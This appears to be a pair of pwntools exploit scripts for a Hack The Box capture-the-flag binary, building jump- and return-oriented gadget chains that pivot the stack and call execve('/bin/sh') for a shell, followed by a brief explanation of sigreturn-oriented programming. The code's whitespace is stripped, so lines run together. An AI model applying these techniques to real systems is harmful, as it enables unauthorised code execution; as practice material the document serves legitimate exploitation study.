#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template 2020_04.bin
frompwnimport*frompwnlib.util.cyclicimportcyclic_metasploit,cyclic_metasploit_findimportstruct# Set up pwntools for the correct architecture
exe=context.binary=ELF('2020_04.bin')# Set up pwntools for the correct architecture
context.terminal=['urxvt','-e','zsh','-c']defsetupGadgets():gadget_list=[]#######################################################################################
# 2nd JOP Gadget: Jump to Gadget in Base Pointer with offset
# 0x000000000040103c: add rbp, rbx; wait; jmp qword ptr [rbp - 0x39];
#######################################################################################
gadget_list.append(p64(0x000000000040103c))#######################################################################################
# 3rd JOP Gadget: Copy the Current stack pointer into RCX. This contains the
# 0x000000000040101c: mov rcx, rsp; std; jmp qword ptr [rdx];
#######################################################################################
gadget_list.append(p64(0x000000000040101c))#######################################################################################
# 4rd JOP Gadget: Swap the RBP Gadget in RDI to RCX. Swap the exec string to RDI
# 0x0000000000401067: xchg rdi, rcx; std; jmp qword ptr [rdx];
#######################################################################################
gadget_list.append(p64(0x0000000000401067))#######################################################################################
# 5th JOP Gadget: Set the RCX register to the exec string.
# While the value is not needed it increases the stack pointer.
# The RBP Gadget in RDX is copyed backover to RCX.
# The syscall number will be inserted into RDX. (Will be swapped with RAX)
# 0x000000000040104c: pop rcx; mov rcx, rdx; pop rdx; jmp qword ptr [rcx];
#######################################################################################
gadget_list.append(p64(0x000000000040104c))#######################################################################################
# 6th JOP Gadget: Move the 0x00 in RAX to RDX and move the syscall number from RDX to RAX
# 0x000000000040105a: xchg rax, rdx; fdivp st(1); jmp qword ptr [rcx];
#######################################################################################
gadget_list.append(p64(0x000000000040105a))#######################################################################################
# 7th JOP Gadget: Everything is setup now lets call syscall
# 0x0000000000401082: syscall;
#######################################################################################
gadget_list.append(p64(0x0000000000401082))returnb"".join(reversed(gadget_list))host=args.HOSTor'docker.hackthebox.eu'port=int(args.PORTor30544)deflocal(argv=[],*a,**kw):ifargs.GDB:returngdb.debug([exe.path]+argv,gdbscript=gdbscript,*a,**kw)else:returnprocess([exe.path]+argv,*a,**kw)defremote(argv=[],*a,**kw):'''Connect to the process on the remote host'''io=connect(host,port)ifargs.GDB:gdb.attach(io,gdbscript=gdbscript)returniodefstart(argv=[],*a,**kw):'''Start the exploit against the target.'''ifargs.LOCAL:returnlocal(argv,*a,**kw)else:returnremote(argv,*a,**kw)# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript='''break *0x{exe.entry:x}
break *0x0401000
#continue
'''.format(**locals())#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: No RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
#Set the process with the /bin/sh argument. This makes it easy to set the argv pointer
io=start(['/bin/sh'])### Get the offset to be used for the padding
#testinput = cyclic_metasploit(200)
### Get the padding length from a previous crash
pad_len=cyclic_metasploit_find(b"8Af9")print(f"Padding Length: {pad_len}")### Read the leak for a pointer to the stack
inital_stack_pointer=u64(io.recv(8))print(f"Stack Pointer: {hex(inital_stack_pointer)}")# Do some pointer calculation
#Get argv[1] which is a pointer to a pointer of /bin/sh
args_pointer=inital_stack_pointer+(0x08*2)#Get the enviroment pointer
env_pointer=inital_stack_pointer+(0x08*3)payload_start=(inital_stack_pointer-(pad_len+0x8))print(f"Payload Start: {hex(payload_start)}")#############################
# Registers to set
# rax = 59 or 0x3b
# rdi = "/bin/sh\x00" (const char *filename)
# rsi = 0x00 or a pointer to a list of args (const char *const argv[])
# rdx = 0x00 or a pointer to a list of env varables (const char *const envp[])
## The call syscall
#############################
#############################
# Start of JOP
#############################
#######################################################################################
# 1st JOP Gadget: Stack Piviot and pop varables into registers
#######################################################################################
jop_payload=b""#0x0000000000401000: pop rsp; pop rdi; pop rsi; pop rbp; pop rdx; pop rcx; pop rbx; xor rax, rax; jmp qword ptr [rdi + 1];
jop_payload+=p64(0x0000000000401000)# pop rsp
# Set the stack pointer to the begining of the Stack Payload
jop_payload+=p64(payload_start)# pop rdi
# RDI will contain a pointer to a gadget on the gadget list. This is on the stack and can be calculated.
#######################################################################################
# 2nd JOP Gadget: Jump to Gadget in Base Pointer with offset
# 0x000000000040103c: add rbp, rbx; wait; jmp qword ptr [rbp - 0x39];
#######################################################################################
stack_payload=p64(inital_stack_pointer-(0x8*2)-1)# pop rsi
# Set the arguments to the pointer calulated from the leak
#stack_payload += p64(args_pointer)
stack_payload+=p64(0x00)# pop rbp
# Set RBP + 0x39 to point to the gadget table. This makes it when the add happens it goes to the next gadget
# Set this to 0x39 less than the gadget list
set_rbp=(inital_stack_pointer-(0x8*2))+0x39stack_payload+=p64(set_rbp)print(f"RBP Target: {hex((inital_stack_pointer-(0x8*2)))}")# pop rdx
# RDX will the Second Gadget The RBP gadget
stack_payload+=p64(inital_stack_pointer-(0x8*2))# pop rcx
# RCX will be pointer to
stack_payload+=p64(0x00)# pop rbx
# This is padding for the data to be loaded into rbx
stack_payload+=p64(-0x8,sign="signed")# This is the place the RSP will be pointing to when the 3rd JOP gadget is executed
# This is also where the pop rcx is done but then imedetly overwitten
stack_payload+=b"/bin/sh\x00"# pop rdx
# This is the syscall number and will be swapped with rax
stack_payload+=p64(59)#Set up the Gadget list
gadget_list=setupGadgets()#Setup payload structure
payload=fit({0:stack_payload,pad_len-len(gadget_list):gadget_list,pad_len:jop_payload})io.send(payload)print(util.fiddling.hexdump(payload,groupsize=16))io.interactive()
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template 2020_04.bin
frompwnimport*frompwnlib.util.cyclicimportcyclic_metasploit,cyclic_metasploit_findimportstruct# Set up pwntools for the correct architecture
exe=context.binary=ELF('2020_04.bin')# Set up pwntools for the correct architecture
context.terminal=['urxvt','-e','zsh','-c']defsetupGadgets():gadget_list=[]#Second Gadget
#0x0000000000401067: xchg rdi, rcx; std; jmp qword ptr [rdx];
gadget_list.append(p64(0x0000000000401067))#Third Gadget
#0x0000000000401062: ret;
gadget_list.append(p64(0x0000000000401062))returnb"".join(reversed(gadget_list))defstart(argv=[],*a,**kw):'''Start the exploit against the target.'''ifargs.GDB:returngdb.debug([exe.path]+argv,gdbscript=gdbscript,*a,**kw)else:returnprocess([exe.path]+argv,*a,**kw)# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript='''#tbreak *0x{exe.entry:x}
tbreak *0x0401000
#continue
'''.format(**locals())#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: No RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
#Set the process with the /bin/sh argument. This makes it easy to set the argv pointer
io=start(['/bin/sh',""])### Get the offset to be used for the padding
#testinput = cyclic_metasploit(200)
### Get the padding length from a previous crash
pad_len=cyclic_metasploit_find(b"8Af9")print(f"Padding Length: {pad_len}")### Read the leak for a pointer to the stack
inital_stack_pointer=struct.unpack('q',io.recv(8))[0]print(f"Stack Pointer: {hex(inital_stack_pointer)}")# Do some pointer calculation
#Get argv[1] which is a pointer to a pointer of /bin/sh
args_pointer=inital_stack_pointer+0x08*2#Get the enviroment pointer
env_pointer=inital_stack_pointer+0x08*3payload_start=(inital_stack_pointer-pad_len-0x8)print(f"Payload Start: {hex(payload_start)}")#############################
# Registers to set
# rax = 59 or 0x3b
# rdi = "/bin/sh\x00" (const char *filename)
# rsi = 0x00 or a pointer to a list of args (const char *const argv[])
# rdx = 0x00 or a pointer to a list of env varables (const char *const envp[])
## The call syscall
#############################
#############################
# Start of JOP
#############################
#######################################################################################
# 1st JOP Gadget: Stack Piviot and pop varables into registers
#######################################################################################
jop_payload=b""#0x0000000000401000: pop rsp; pop rdi; pop rsi; pop rbp; pop rdx; pop rcx; pop rbx; xor rax, rax; jmp qword ptr [rdi + 1];
jop_payload+=p64(0x0000000000401000)# pop rsp
# Set the stack pointer to the begining of the Stack Payload
# -0xB8
jop_payload+=p64(payload_start)# pop rdi
# RDI will contain a pointer to a gadget on the gadget list. This is on the stack and can be calculated.
#######################################################################################
# 2nd JOP Gadget: Exchange rdi and rcx to set the rdi varable to the executable to run
# 0x0000000000401067: xchg rdi, rcx; std; jmp qword ptr [rdx];
#######################################################################################
stack_payload=p64(inital_stack_pointer-(0x8)*2-1)# pop rsi
# Set the arguments to the pointer calulated from the leak
#stack_payload += p64(args_pointer)
stack_payload+=p64(0x00)# pop rbp
# The RBP is not needed just filled with padding
stack_payload+=b"BPBPBPBP"# pop rdx
# RDX will contain a pointer to a gadget on the gadget list. This is on the stack and can be calculated.
#######################################################################################
# 3rd JOP Gadget: The Ret instruction lets us change from JOP to ROP
# 0x0000000000401062: ret;
#######################################################################################
stack_payload+=p64(inital_stack_pointer-(0x8)*3)# pop rcx
# Since RCX will be swapped with RDI in the Second Gadget this will contain a pointer to the executable string.
# This string is at the end of the payload and can only be calculated after knowing the length of the payload
stack_payload+=p64(inital_stack_pointer-0x58)# pop rbx
# This is padding for the data to be loaded into rbx
stack_payload+=b"BXBXBXBX"# Because the RCX Register has ret gadget it is possoble to make this a ROP chain
# The limiting factor is that all of the Gadgets must end with jmp qword ptr [rcx];
# This makes it so that the next instruction can be poped off the stack and executed.
# This works since the ret JOP gadget is loaded in to the RCX register
#######################################################################################
# 1st ROP Gadget: Lets copy the ret gadget into RCX and set RDX to be switched into RAX
# 0x000000000040104d: mov rcx, rdx; pop rdx; jmp qword ptr [rcx];
#######################################################################################
stack_payload+=p64(0x000000000040104d)#POP RDX to be put into RAX
stack_payload+=p64(59)#######################################################################################
# 2nd ROP Gadget: Lets set RAX by swaping with RDX
# 0x000000000040105a: xchg rax, rdx; fdivp st(1); jmp qword ptr [rcx];
#######################################################################################
stack_payload+=p64(0x000000000040105a)#######################################################################################
# 3nd ROP Gadget: Lets set RDX
# 0x0000000000401050: pop rdx; jmp qword ptr [rcx];
#######################################################################################
stack_payload+=p64(0x0000000000401050)# pop RDX
# This is the enviroment pointer
#stack_payload += p64(env_pointer)
stack_payload+=p64(0x00)#######################################################################################
# 4nd ROP Gadget: Everything is setup lets execute the syscall
# 0x0000000000401082: syscall;
#######################################################################################
stack_payload+=p64(0x0000000000401082)#Here is the shell varable at the offset -0x58
stack_payload+=b"/bin/sh\x00"#Set up the Gadget list
gadget_list=setupGadgets()#Setup payload structure
payload=fit({0:stack_payload,pad_len-len(gadget_list):gadget_list,pad_len:jop_payload})io.send(payload)#print(util.fiddling.hexdump(payload, groupsize=16))
io.interactive()
When a signal occurs, the kernel “pauses” the process’s execution in order to jump to a signal handler routine. In order to safely resume the execution after the handler, the context of that process is pushed/saved on the stack (registers, flags, instruction pointer, stack pointer etc). When the handler is finished, sigreturn() is being called which will restore the context of the process by popping the values off of the stack. This can modify all registers in an cpu including stack pointer, instruction pointers and others
If the attacker can write values on to the stack they can forge a sigcontext structure